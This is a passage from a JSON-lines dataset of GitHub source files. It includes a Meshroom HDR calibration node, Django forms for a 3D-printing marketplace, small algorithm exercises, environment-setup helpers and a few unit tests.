self.args = args\n\n    def dict(self):\n        '''return a dict representing the object'''\n        return dict(id_ = self.id_, \n            args = self.args)\n\n    @classmethod\n    def set_constants(cls, events):\n        '''creates an event class that has the event list as constants starting\n        with EVENT_ and an uppercase string replacing the spaces with \n        underscores\n        '''\n        sorted = list(events)\n        sorted.sort()\n        events = tuple(sorted)\n\n        for (index, event) in enumerate(events):\n            setattr(cls, 'EVENT_' + event.upper().replace(' ', '_'), index)\n","repo_name":"emesene/emesene","sub_path":"emesene/e3/base/Event.py","file_name":"Event.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":318,"dataset":"github-code","pt":"57"}
+{"seq_id":"38985291732","text":"__version__ = \"3.0\"\n\nimport json\n\nfrom meshroom.core import desc\n\ndef findMetadata(d, keys, defaultValue):\n    v = None\n    for key in keys:\n        v = d.get(key, None)\n        k = key.lower()\n        if v is not None:\n            return v\n        for dk, dv in d.items():\n            dkm = dk.lower().replace(\" \", \"\")\n            if dkm == key.lower():\n                return dv\n            dkm = dkm.split(\":\")[-1]\n            dkm = dkm.split(\"/\")[-1]\n            if dkm == k:\n                return dv\n    return defaultValue\n\n\n\nclass LdrToHdrCalibration(desc.CommandLineNode):\n    commandLine = 'aliceVision_LdrToHdrCalibration {allParams}'\n    size = desc.DynamicNodeSize('input')\n    cpu = desc.Level.INTENSIVE\n    ram = desc.Level.NORMAL\n\n    category = 'Panorama HDR'\n    documentation = '''\n    Calibrate LDR to HDR response curve from samples\n'''\n\n    inputs = [\n        desc.File(\n            name='input',\n            label='Input',\n            description='SfMData file.',\n            value='',\n            uid=[0],\n        ),\n        desc.File(\n            name='samples',\n            label='Samples folder',\n            description='Samples folder',\n            value=desc.Node.internalFolder,\n            uid=[0],\n        ),\n        desc.IntParam(\n            name='userNbBrackets',\n            label='Number of Brackets',\n            description='Number of exposure brackets per HDR image (0 for automatic detection).',\n            value=0,\n            range=(0, 15, 1),\n            uid=[],\n            group='user',  # not used directly on the command line\n        ),\n        desc.IntParam(\n            name='nbBrackets',\n            label='Automatic Nb Brackets',\n            description='Number of exposure brackets used per HDR image. It is detected automatically from input Viewpoints metadata if \"userNbBrackets\" is 0, else it is equal to \"userNbBrackets\".',\n            value=0,\n            range=(0, 10, 1),\n            uid=[0],\n        ),\n        desc.BoolParam(\n            name='byPass',\n            label='Bypass',\n            description=\"Bypass HDR creation and use the medium bracket as the source for the next steps\",\n            value=False,\n            uid=[0],\n            group='internal',\n            enabled= lambda node: node.nbBrackets.value != 1,\n        ),\n        desc.ChoiceParam(\n            name='calibrationMethod',\n            label='Calibration Method',\n            description=\"Method used for camera calibration \\n\"\n                        \" * Linear: Disable the calibration and assumes a linear Camera Response Function. If images are encoded in a known colorspace (like sRGB for JPEG), the images will be automatically converted to linear. \\n\"\n                        \" * Debevec: This is the standard method for HDR calibration. \\n\"\n                        \" * Grossberg: Based on learned database of cameras, it allows to reduce the CRF to few parameters while keeping all the precision. \\n\"\n                        \" * Laguerre: Simple but robust method estimating the minimal number of parameters. \\n\"\n                        \" * Robertson: First method for HDR calibration in the literature. \\n\",\n            values=['linear', 'debevec', 'grossberg', 'laguerre'],\n            value='debevec',\n            exclusive=True,\n            uid=[0],\n            enabled= lambda node: node.byPass.enabled and not node.byPass.value,\n        ),\n        desc.ChoiceParam(\n            name='calibrationWeight',\n            label='Calibration Weight',\n            description=\"Weight function used to calibrate camera response \\n\"\n                        \" * default (automatically selected according to the calibrationMethod) \\n\"\n                        \" * gaussian \\n\"\n                        \" * triangle \\n\"\n                        \" * plateau\",\n            value='default',\n            values=['default', 'gaussian', 'triangle', 'plateau'],\n            exclusive=True,\n            uid=[0],\n            enabled= lambda node: node.byPass.enabled and not node.byPass.value,\n        ),\n        desc.IntParam(\n            name='channelQuantizationPower',\n            label='Channel Quantization Power',\n            description='Quantization level like 8 bits or 10 bits.',\n            value=10,\n            range=(8, 14, 1),\n            uid=[0],\n            advanced=True,\n            enabled= lambda node: node.byPass.enabled and not node.byPass.value,\n        ),\n        desc.IntParam(\n            name='maxTotalPoints',\n            label='Max Number of Points',\n            description='Max number of points used from the sampling. This ensures that the number of pixels values extracted by the sampling\\n'\n                        'can be managed by the calibration step (in term of computation time and memory usage).',\n            value=1000000,\n            range=(8, 10000000, 1000),\n            uid=[0],\n            advanced=True,\n            enabled= lambda node: node.byPass.enabled and not node.byPass.value,\n        ),\n        desc.ChoiceParam(\n            name='verboseLevel',\n            label='Verbose Level',\n            description='verbosity level (fatal, error, warning, info, debug, trace).',\n            value='info',\n            values=['fatal', 'error', 'warning', 'info', 'debug', 'trace'],\n            exclusive=True,\n            uid=[],\n        )\n    ]\n\n    outputs = [\n       desc.File(\n            name='response',\n            label='Output response  File',\n            description='Path to the output response file',\n            value=desc.Node.internalFolder + 'response.csv',\n            uid=[],\n        )\n    ]\n\n    def processChunk(self, chunk):\n        if chunk.node.nbBrackets.value == 1 or chunk.node.byPass.value:\n            return\n        super(LdrToHdrCalibration, self).processChunk(chunk)\n\n    @classmethod\n    def update(cls, node):\n        if not isinstance(node.nodeDesc, cls):\n            raise ValueError(\"Node {} is not an instance of type {}\".format(node, cls))\n        # TODO: use Node version for this test\n        if 'userNbBrackets' not in node.getAttributes().keys():\n            # Old version of the node\n            return\n        if node.userNbBrackets.value != 0:\n            node.nbBrackets.value = node.userNbBrackets.value\n            return\n        # logging.info(\"[LDRToHDR] Update start: version:\" + str(node.packageVersion))\n        cameraInitOutput = node.input.getLinkParam(recursive=True)\n        if not cameraInitOutput:\n            node.nbBrackets.value = 0\n            return\n        if not cameraInitOutput.node.hasAttribute('viewpoints'):\n            if cameraInitOutput.node.hasAttribute('input'):\n                cameraInitOutput = cameraInitOutput.node.input.getLinkParam(recursive=True)\n        if cameraInitOutput and cameraInitOutput.node and cameraInitOutput.node.hasAttribute('viewpoints'):\n            viewpoints = cameraInitOutput.node.viewpoints.value\n        else:\n            # No connected CameraInit\n            node.nbBrackets.value = 0\n            return\n\n        # logging.info(\"[LDRToHDR] Update start: nb viewpoints:\" + str(len(viewpoints)))\n        inputs = []\n        for viewpoint in viewpoints:\n            jsonMetadata = viewpoint.metadata.value\n            if not jsonMetadata:\n                # no metadata, we cannot found the number of brackets\n                node.nbBrackets.value = 0\n                return\n            d = json.loads(jsonMetadata)\n            fnumber = findMetadata(d, [\"FNumber\", \"Exif:ApertureValue\", \"ApertureValue\", \"Aperture\"], \"\")\n            shutterSpeed = findMetadata(d, [\"Exif:ShutterSpeedValue\", \"ShutterSpeedValue\", \"ShutterSpeed\"], \"\")\n            iso = findMetadata(d, [\"Exif:ISOSpeedRatings\", \"ISOSpeedRatings\", \"ISO\"], \"\")\n            if not fnumber and not shutterSpeed:\n                # If one image without shutter or fnumber, we cannot found the number of brackets.\n                # We assume that there is no multi-bracketing, so nothing to do.\n                node.nbBrackets.value = 1\n                return\n            inputs.append((viewpoint.path.value, (fnumber, shutterSpeed, iso)))\n        inputs.sort()\n\n        exposureGroups = []\n        exposures = []\n        for path, exp in inputs:\n            if exposures and exp != exposures[-1] and exp == exposures[0]:\n                exposureGroups.append(exposures)\n                exposures = [exp]\n            else:\n                exposures.append(exp)\n        exposureGroups.append(exposures)\n        exposures = None\n        bracketSizes = set()\n        if len(exposureGroups) == 1:\n            if len(set(exposureGroups[0])) == 1:\n                # Single exposure and multiple views\n                node.nbBrackets.value = 1\n            else:\n                # Single view and multiple exposures\n                node.nbBrackets.value = len(exposureGroups[0])\n        else:\n            for expGroup in exposureGroups:\n                bracketSizes.add(len(expGroup))\n            if len(bracketSizes) == 1:\n                node.nbBrackets.value = bracketSizes.pop()\n                # logging.info(\"[LDRToHDR] nb bracket size:\" + str(node.nbBrackets.value))\n            else:\n                node.nbBrackets.value = 0\n        # logging.info(\"[LDRToHDR] Update end\")\n\n","repo_name":"openphotogrammetry/meshroomcl","sub_path":"meshroom/nodes/aliceVision/LdrToHdrCalibration.py","file_name":"LdrToHdrCalibration.py","file_ext":"py","file_size_in_byte":9217,"program_lang":"python","lang":"en","doc_type":"code","stars":153,"dataset":"github-code","pt":"57"}
+{"seq_id":"41797154108","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom .models import Customer\n\nTIME_CHOICES = (\n    (0, 'No, timing is not an issue for me.'),\n    (1, 'Yes, I need this project manufactured as soon as physically possible.')\n)\n\n\nclass AddCustomerForm(forms.ModelForm):\n    class Meta:\n        model = Customer\n        fields = ['prototype_type', 'customer_type', 'need_assistance', 'material', 'process',\n                  'size', 'is_time_sensitive', 'shipping',\n                  'budget', 'description', 'cad_file', 'user']\n\n        widgets = {\n            'prototype_type': forms.RadioSelect(attrs={'id': 'a_value', 'class': 'md-radiobtn'}),\n            'budget': forms.RadioSelect(attrs={'id': 'b_value', 'class': 'md-radiobtn'}),\n            'customer_type': forms.RadioSelect(attrs={'id': 'c_value', 'class': 'md-radiobtn'}),\n            'material': forms.Select(attrs={'class': 'form-control edited', 'style': 'margin-top: 15px'}),\n            'process': forms.Select(attrs={'class': 'form-control edited', 'style': 'margin-top: 15px'}),\n            'size': forms.RadioSelect(attrs={'id': 'd_value', 'class': 'md-radiobtn'}),\n            'need_assistance': forms.RadioSelect(attrs={'id': 'e_value', 'class': 'md-radiobtn'}),\n            'is_time_sensitive': forms.RadioSelect(attrs={'id': 'f_value', 'class': 'md-radiobtn'},\n                                                   choices=TIME_CHOICES),\n            'shipping': forms.RadioSelect(attrs={'id': 'g_value', 'class': 'md-radiobtn'}),\n            'geo_matters': forms.Select(attrs={'class': 'form-control edited'}),\n            'zip': forms.TextInput(attrs={'class': 'form-control edited'}),\n            'description': forms.Textarea(attrs={'class': 'form-control mt-20', 'rows': 10}),\n            'cad_file': forms.ClearableFileInput(attrs={'class': 'form-control'}),\n\n            'user': forms.HiddenInput(),\n        }\n\n    def clean_shipping(self):\n        if self.cleaned_data['is_time_sensitive']:\n            print(self.cleaned_data['shipping'])\n            if self.cleaned_data['shipping'] is None:\n                raise ValidationError(\"If you want 'time sensitive' project. You need to choose shipping method\")\n\n    # def clean_need_assistance(self):\n    #     if self.cleaned_data['need_assistance']:\n    #         if self.cleaned_data['need_assistance'] == 1:\n    #             if self.cleaned_data['cad_file'] is None:\n    #                 raise ValidationError(\"Please upload a CAD file\")\n\n    def __init__(self, *args, **kwargs):\n        self.user = None\n        if 'user' in kwargs['initial']:\n            self.user = kwargs['initial'].pop('user')\n\n        super(AddCustomerForm, self).__init__(*args, **kwargs)\n        self.fields['user'].initial = self.user\n        self.fields['prototype_type'].label = 'Is this a single \"Prototype\" run or multiple unit batch?'\n        self.fields['budget'].label = 'Roughly what is your overall budget for this project?'\n        self.fields['customer_type'].label = 'What would you classify yourself as?'\n        self.fields['material'].label = 'If you know the exact Material you wish to use, enter it here.'\n        self.fields['process'].label = 'If You Know The Exact Printing Process You Want, Select It Here.'\n        self.fields['size'].label = 'Roughly what will be the size of your design?'\n        self.fields['need_assistance'].label = 'Will you need assistance rendering a 3D CAD model for printing?'\n        self.fields['is_time_sensitive'].label = 'Is this project time sensitive?'\n        self.fields['shipping'].label = 'Do you require any of the following shipping options for your project?'\n        # self.fields['geo_matters'].label = 'Does Geographic Proximity to your provider matter?'\n        # self.fields['zip'].label = 'If Yes, please enter your Zip Code.'\n        self.fields['description'].label = 'Please write a description of your project and any additional ' \\\n                                           'comments you would like your service provider to know.'\n        self.fields['cad_file'].label = 'If you have a CAD File for your project, please upload it here. '\n\n\nclass AddAdvancedCustomerForm(forms.ModelForm):\n\n    class Meta:\n        model = Customer\n        fields = ['basic_material', 'is_precious_metal', 'metal_concern', 'metal_decision',\n                  'other_materials',\n                  'plastic_concern', 'is_food_safe_plastic', 'is_functional_or_basic',\n                  'plastic_decision', 'heat_resistance', 'is_extreme_strength', 'is_better_appearance',\n                  'is_highest_detail', 'is_full_color', 'is_able_to_bend', 'performance_or_price']\n\n        widgets = {\n            'basic_material': forms.Select(attrs={'class': 'form-control edited'}),\n            'is_precious_metal': forms.Select(attrs={'class': 'form-control edited'}),\n            'is_food_safe_plastic': forms.Select(attrs={'class': 'form-control edited'}),\n            'is_extreme_strength': forms.Select(attrs={'class': 'form-control edited'}),\n            'is_better_appearance': forms.Select(attrs={'class': 'form-control edited'}),\n            'is_highest_detail': forms.Select(attrs={'class': 'form-control edited'}),\n            'is_full_color': forms.Select(attrs={'class': 'form-control edited'}),\n            'is_able_to_bend': forms.Select(attrs={'class': 'form-control edited'}),\n            'performance_or_price': forms.Select(attrs={'class': 'form-control edited'}),\n\n        }\n\n    def __init__(self, *args, **kwargs):\n\n        super(AddAdvancedCustomerForm, self).__init__(*args, **kwargs)\n\n        self.fields['basic_material'].label = 'Select your basic Material type'\n        self.fields['is_precious_metal'].label = 'Do you want your project to be constructed by functional metals ' \\\n                                                 'or precious metals, such as silver or gold?'\n        self.fields['metal_concern'].label = 'Which is your chief concern? Conductivity or pure Strength'\n        self.fields['metal_decision'].label = 'Are you willing to spend top dollar for the best strength and ' \\\n                                              'resistance available? (Industrial Grade)'\n        self.fields['other_materials'].label = 'Are you looking for a Wood-like print or a Stone print for your ' \\\n                                               'project?'\n        self.fields['plastic_concern'].label = 'What is more important your project, cost or quality of the print?'\n        self.fields['is_food_safe_plastic'].label = 'Do you wish your project to be food-safe?'\n        self.fields['is_functional_or_basic'].label = 'Do you need your project to be functional or just printed as ' \\\n                                                      'basic as possible?'\n        self.fields['plastic_decision'].label = 'Would you pay slightly higher prices for slightly more ' \\\n                                                'strength and flexibility?'\n        self.fields['heat_resistance'].label = 'Does your project require Flexibility or Heat Resistance?'\n        self.fields['is_extreme_strength'].label = 'Are you willing to spend top dollar for extreme performance ' \\\n                                                   'and strength?'\n        self.fields['is_better_appearance'].label = 'Do you want your project to have a better appearance ' \\\n                                                    'or functionality?'\n        self.fields['is_highest_detail'].label = 'Are you looking for the best details possible for small and ' \\\n                                                 'intricate designs for a premium cost?'\n        self.fields['is_full_color'].label = 'Will Your project require rich and full color?'\n        self.fields['is_able_to_bend'].label = 'Do you want your project to be able to bend under some ' \\\n                                               'pressure or act similar to rubber?'\n        self.fields['performance_or_price'].label = 'Would you settle for slightly less performance for slightly' \\\n                                                    'less price?'\n","repo_name":"hqpr/findyour3d","sub_path":"findyour3d/customer/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":8095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"20869204346","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics import r2_score\n\ndata = pd.read_csv('data_2013.txt')\n\nresult = {}\nfor column in data:\n\tresult[column] = r2_score(data['odds'], data[column])\n\ndf = pd.DataFrame.from_dict(result,orient='index')\ndf.columns = ['r2']\nsorted_ = df.sort('r2',ascending = 0)\n\n# print sorted_\nsorted_.to_csv('r2_result.txt')\n","repo_name":"CorbinZhou/Leftbehind_Children","sub_path":"3.filter method for features selection/r2/r2.py","file_name":"r2.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"44579348483","text":"data = open(\"input.txt\").read()\n\n\ndef soln1():\n    arr1 = [\"A\", \"B\", \"C\"]\n    arr2 = [\"X\", \"Y\", \"Z\"]\n    win_arr = [\"Y\", \"Z\", \"X\"]\n    points = 0\n    for ln in data.splitlines():\n        point_r = 0\n        l, r = ln.split(\" \")\n        if arr1.index(l) == arr2.index(r):\n            point_r = 3\n        elif arr1.index(l) == win_arr.index(r):\n            point_r = 6\n        point_r += arr2.index(r) + 1\n        points += point_r\n    print(points)\n\ndef soln2():\n    arr1 = [\"A\", \"B\", \"C\"]\n    points = 0\n    for ln in data.splitlines():\n        point_r = 0\n        l, r = ln.split(\" \")\n        l = arr1.index(l)\n        throw = None\n        if r == \"X\":\n            throw = (l + 2)%3 # (3 + l -1)\n        elif r == \"Y\":\n            throw = l\n            point_r = 3\n        else:\n            throw = (l + 1)%3\n            point_r = 6\n        point_r += throw + 1\n        points += point_r\n    print(points)\n\nsoln1()\nsoln2()\n","repo_name":"coder11235/aoc-2022","sub_path":"pysolns/day2/soln.py","file_name":"soln.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"20888655731","text":"import os\nfrom logging import Logger\nfrom penvy.setup.SetupStepInterface import SetupStepInterface\nfrom penvy.shell.home_path_shortener import shorten_home_path\nfrom penvy.string.string_in_file import file_contains_string\n\n\nclass SourcePyfonyEnvAppender(SetupStepInterface):\n    def __init__(\n        self,\n        rc_file_path: str,\n        expected_shell_is_running: callable,\n        logger: Logger,\n    ):\n        self._rc_file_path = rc_file_path\n        self._rc_file_path_shorten = shorten_home_path(rc_file_path)\n        self._pyfony_env_script_path = os.path.expanduser(\"~\") + os.sep + \"pyfony_env.sh\"\n        self._pyfony_env_script_path_shoten = shorten_home_path(self._pyfony_env_script_path)\n        self._expected_shell_is_running = expected_shell_is_running\n        self._logger = logger\n\n    def get_description(self):\n        return f'Add \"source {self._pyfony_env_script_path_shoten}\" into {self._rc_file_path_shorten}'\n\n    def run(self):\n        self._logger.info(f'Adding \"source {self._pyfony_env_script_path_shoten}\" to {self._rc_file_path_shorten}')\n\n        with open(self._rc_file_path, \"a\") as f:\n            f.write(f\"source {self._pyfony_env_script_path_shoten}\\n\")\n\n    def should_be_run(self) -> bool:\n        return self._expected_shell_is_running and (\n            not os.path.isfile(self._rc_file_path)\n            or not file_contains_string(f\"source {self._pyfony_env_script_path_shoten}\", self._rc_file_path)\n        )\n","repo_name":"petrmichal/penvy","sub_path":"src/penvy/shell/SourcePyfonyEnvAppender.py","file_name":"SourcePyfonyEnvAppender.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"57"}
+{"seq_id":"71231015218","text":"import sys\ninput = sys.stdin.readline\n\nn, k = map(int, input().split())\ncoin_list = [int(input()) for _ in range(n)]\nans = 0\nfor i in range(n-1, -1 , -1):\n    ans += k // coin_list[i]\n\n    k %= coin_list[i]\n\nprint(ans)\n\n\n# while 문을 돌리려는 방향성이 완전 틀림\n# 정답소스는 점화식을 세워 계산\n\n\n# 준규가 가지고 있는 동전은 총 N종류이고, 각각의 동전을 매우 많이 가지고 있다.\n#\n# 동전을 적절히 사용해서 그 가치의 합을 K로 만들려고 한다. 이때 필요한 동전 개수의 최솟값을 구하는 프로그램을 작성하시오.\n#\n# 입력\n# 첫째 줄에 N과 K가 주어진다. (1 ≤ N ≤ 10, 1 ≤ K ≤ 100,000,000)\n#\n# 둘째 줄부터 N개의 줄에 동전의 가치 Ai가 오름차순으로 주어진다. (1 ≤ Ai ≤ 1,000,000, A1 = 1, i ≥ 2인 경우에 Ai는 Ai-1의 배수)\n#\n# 출력\n# 첫째 줄에 K원을 만드는데 필요한 동전 개수의 최솟값을 출력한다.\n\n#https://www.acmicpc.net/problem/11047 동전 0","repo_name":"freesin/Algorithm","sub_path":"GREEDY/greedy_coin.py","file_name":"greedy_coin.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"29414269175","text":"from modules.PdfLine import PdfLine\n\nfrom modules.func import *\nfrom modules import PDF_CONST as PFC\nfrom modules.ColorArea import ColorArea\n\nfrom pprint import pprint\n\n\nclass Selection:\n    \"\"\" Represents area of selection on the page \"\"\"\n\n    def __init__(self, df, is_se):\n        self.is_se = is_se\n        self.selection_as_line_list = convert_dataframe_tolist_of_lines(df)\n        self.selection_as_dict = df.to_dict()\n        self.type = None  # title_area, color_area, stock_area, packaging_area\n        self.pdf_line_list = None\n        if not is_se:\n            self.pdf_line_list = [PdfLine(line) for line in self.selection_as_line_list]\n\n    def set_type(self, the_type=None):\n        if the_type:\n            self.type = the_type\n        elif self.is_color_area():\n            self.type = PFC.TYPE_COLOR\n        elif self.is_categ_area():\n            self.type = PFC.TYPE_CATEG\n        elif self.is_stock_area():\n            self.type = PFC.TYPE_STOCK\n        elif self.is_packaging_area():\n            self.type = PFC.TYPE_PACKAGING\n        else:\n            self.type = None\n\n    def is_categ_area(self):\n        is_categ = True\n        for line in self.selection_as_line_list:\n            if len(line) > 1:\n                is_categ = False\n                break\n        return is_categ\n\n    def is_color_area(self):\n        \"\"\" :return true if this is a color area \"\"\"\n        is_header = False\n        for line in self.selection_as_line_list:\n            if len(line) <= 3:\n                for item in line:\n                    if \"Color\" in str(item) or \"Code\" in str(item):\n                        is_header = True\n                        break\n        return is_header\n\n    def is_stock_area(self):\n        \"\"\" :return true if this is a stock area \"\"\"\n        is_stock_area = False\n        for line in self.selection_as_line_list:\n            if 'Unit' in line and 'Net Price' in line:\n                is_stock_area = True\n                break\n        return is_stock_area\n\n    def is_packaging_area(self):\n        \"\"\" :return true if this is a packaging area \"\"\"\n        is_packaging_area = False\n        for line in self.selection_as_line_list:\n            flag = False\n            for item in line:\n                if \"Packaging\" in str(item) or \"Packing\" in str(item) or \"Pcs/Ctn\" in str(item):\n                    flag = True\n                    break\n            if flag:\n                is_packaging_area = True\n                break\n        return is_packaging_area\n\n    def extract_color_data(self):\n        \"\"\" :returns a dictionary {\"Name\": names, \"Code\": codes} containing colors of color_area\"\"\"\n        color_dict = None\n        condition = None\n        header = self.selection_as_line_list[0]\n        if len(header) == 1:\n            # color table with condition\n            condition = header[0].replace('Colors', '')\n            condition = \" \".join(condition.split())\n            value_lines = self.selection_as_line_list[2:]\n            names = [\" \".join(item[0].split()[:-1]) for item in value_lines]\n            codes = [item[0].split()[-1] for item in value_lines]\n            color_dict = {\"Name\": names, \"Code\": codes}\n            # print('color table with condition')\n        elif len(header) == 2:\n            # color table with condition\n            if 'Colors' in header[0]:\n                condition = header[0].replace('Colors', '')\n                condition = \"\".join(condition.split())\n            value_lines = self.selection_as_line_list[1:]\n            names = [item[0] for item in value_lines]\n            codes = [item[-1] for item in value_lines]\n            color_dict = {\"Name\": names, \"Code\": codes}\n        elif 'Code' in header:\n            value_lines = self.selection_as_line_list[1:]\n            names = [item[0] for item in value_lines]\n            color_descriptions = [item[1] for item in value_lines]\n            codes = [item[-1] for item in value_lines]\n            if header[1] == \"Size\":\n                color_dict = {\"Name\": names, \"Size\": color_descriptions, \"Code\": codes}\n            else:\n                color_dict = {\"Name\": names, \"Color\": color_descriptions, \"Code\": codes}\n\n        # print(\"condition:\", condition)\n        # pprint(color_dict)\n\n        return (color_dict, condition)\n\n    def color_area(self):\n        \"\"\" Initializes the dictionary on ColorArea object and sets its used property to false\"\"\"\n        d = self.extract_color_data()\n        return ColorArea(*d)\n\n    def __str__(self):\n        the_str = f\"[Type: {self.type}]\\n\"\n        for line in self.selection_as_line_list:\n            line = [str(item) for item in line]\n            the_str += (\", \".join(line) + '\\n')\n        return the_str\n","repo_name":"vadzimk/bedroser","sub_path":"modules/Selection.py","file_name":"Selection.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"38973106088","text":"#!/usr/bin/env python\n\nimport csv\nimport os.path\nfrom subprocess import Popen, PIPE\nimport unittest\n\nfrom jinja2 import Template\n\n\nclass TestPs2Amc(unittest.TestCase):\n\n    def setUp(self):\n        self._dir = os.path.dirname(__file__)\n        self.data_path = os.path.join(self._dir, 'data')\n        self.golden_path = os.path.join(self._dir, 'golden')\n        self.infile = os.path.join(self.data_path, 'ps.csv')\n        self.inxlspath = os.path.join(self.data_path, 'ps.xls')\n        self.expected_outfile = os.path.join(self.golden_path, 'amc.csv')\n\n    def mock_psxls(self):\n        \"\"\" Mock up the ps.xls file.\n\n        This method is not a real test and doesn't need to be run often.\n        It won't be discovered by running this module on the command line,\n        or with `nose`.  To run it, execute\n\n            $ python -m unittest test_ps2amc.TestPs2Amc.mock_psxls\n\n        on the command line.\n        \"\"\"\n        input_path = os.path.join(self.data_path, 'mock.csv')\n        template_path = os.path.join(self.data_path, 'psxlst.html')\n        output_path = os.path.join(self.data_path, 'ps.xls')\n\n        def fix(s):\n            s['Program and Plan'] \\\n                = s['Program and Plan'].replace('\\\\n\\\\n', '\\n\\r')\n            return s\n\n        with open(input_path) as data_fh, open(template_path) as template_fh:\n            template = Template(template_fh.read())\n            students = [fix(student) for student in csv.DictReader(data_fh)]\n        with open(output_path, 'w') as output_fh:\n            output_fh.write(template.render(students=students))\n        self.assertTrue(os.path.exists(output_path))\n\n    def mock_pscsv(self):\n        \"\"\" Mock up the ps.csv file.\n\n        This method is not a real test and doesn't need to be run often.\n        It won't be discovered by running this module on the command line,\n        or with `nose`.  To run it, execute\n\n            $ python -m unittest test_ps2amc.TestPs2Amc.mock_pscsv\n\n        on the command line.\n        \"\"\"\n        # csvfix order -f 2,3,5,9,10,11,12,13,14,15,16,17,18 mock.csv > ps.csv\n        input_path = os.path.join(self.data_path, 'mock.csv')\n        output_path = os.path.join(self.data_path, 'ps.csv')\n        fields = [2, 3, 5, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]\n        with open(input_path) as infile, open(output_path, 'w') as outfile:\n            writer = csv.writer(outfile)\n            for line in csv.reader(infile):\n                writer.writerow([line[field - 1] for field in fields])\n        self.assertTrue(os.path.exists(output_path))\n\n    def test_ps2amc(self):\n        with Popen(['ps2amc', self.infile],\n                   universal_newlines=True, stdout=PIPE).stdout as output,\\\n                open(self.expected_outfile) as expected_output:\n            for expected_line in expected_output:\n                line = output.readline()\n                self.assertEqual(line, expected_line)\n\n    def test_psxls2amc(self):\n        with Popen(['psxls2amc', self.inxlspath],\n                   universal_newlines=True, stdout=PIPE).stdout as output,\\\n                open(self.expected_outfile) as expected_output:\n            for expected_line in expected_output:\n                line = output.readline()\n                self.assertEqual(line, expected_line)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"leingang/ps2vcard","sub_path":"tests/test_ps2amc.py","file_name":"test_ps2amc.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"42812322450","text":"# Implement a function to check if a binary tree is balanced. For the purposes of\n# this question, a balanced tree is defined to be a tree such that the heights of the two subtrees of any\n# node never differ by more than one. \n\nclass TreeNode:\n\tdef __init__(self, val):\n\t\tself.val = val\n\t\tself.right = None\n\t\tself.left = None\n\n# Balanced Tree\nNode1 = TreeNode(1)\nNode2 = TreeNode(2)\nNode3 = TreeNode(3)\nNode1.left = Node2\nNode1.right = Node3\n\n#Unbalanced Tree\nNode4 = TreeNode(4)\nNode5 = TreeNode(5)\nNode6 = TreeNode(6)\nNode4.left = Node5\nNode5.left = Node6\n\ndef checkBalanced(tree):\n\treturn recursiveCheck(tree) != False\n\ndef recursiveCheck(treeNode):\n\t#base case\n\tif treeNode == None:\n\t\treturn 1\n\n\t#these values will either be an integer representing the depth of the left and right sub trees of the current node, or it will be False if we have discovered it is not balanced\n\tleft_subtree_depth = recursiveCheck(treeNode.left)\n\tright_subtree_depth = recursiveCheck(treeNode.right)\n\n\t# repeatedly returns False once we discover that it is not balanced\n\tif (left_subtree_depth == False or right_subtree_depth == False):\n\t\treturn False\n\n\t# returns False upon discovering imbalance\n\tif (abs(left_subtree_depth - right_subtree_depth) > 1):\n\t\treturn False\n\n\t# the depth of a tree is 1 plus the larger depth of it's left and right sub trees\n\tif (left_subtree_depth > right_subtree_depth):\n\t\treturn left_subtree_depth + 1\n\telse:\n\t\treturn right_subtree_depth + 1","repo_name":"tommydo89/CTCI","sub_path":"4. Trees and Graphs/checkBalanced.py","file_name":"checkBalanced.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"3705807363","text":"#!/usr/bin/env python3\n\n# Parses cargo classes from newgrf wiki\n# Outputs python dict elements, nml names have to added manually\n\nfrom bs4 import BeautifulSoup\nimport requests\n\n\ndef main():\n    r = requests.get('https://newgrf-specs.tt-wiki.net/wiki/Action0/Cargos')\n    s = BeautifulSoup(r.text, 'html.parser')\n    h = s.find(class_='mw-headline', string='CargoClasses (16)')\n    table = h.parent.find_next_sibling('table')\n    rows = []\n    for tr in table.find_all('tr'):\n        rows.append([td.get_text().strip() for td in tr.find_all('td')])\n    rows = rows[1:-3]\n    for r in rows:\n        print('value=0x{}'.format(r[1]))\n        print(\"class_name='{}'\".format(r[2]))\n        print(\"wagon_type='{}'\".format(r[3]))\n        print(\"usage='{}'\".format(r[4]))\n        print(\"tips='{}'\".format(r[5]))\n        print()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"juzza1/cargohelper","sub_path":"tools/parse_cargo_classes.py","file_name":"parse_cargo_classes.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
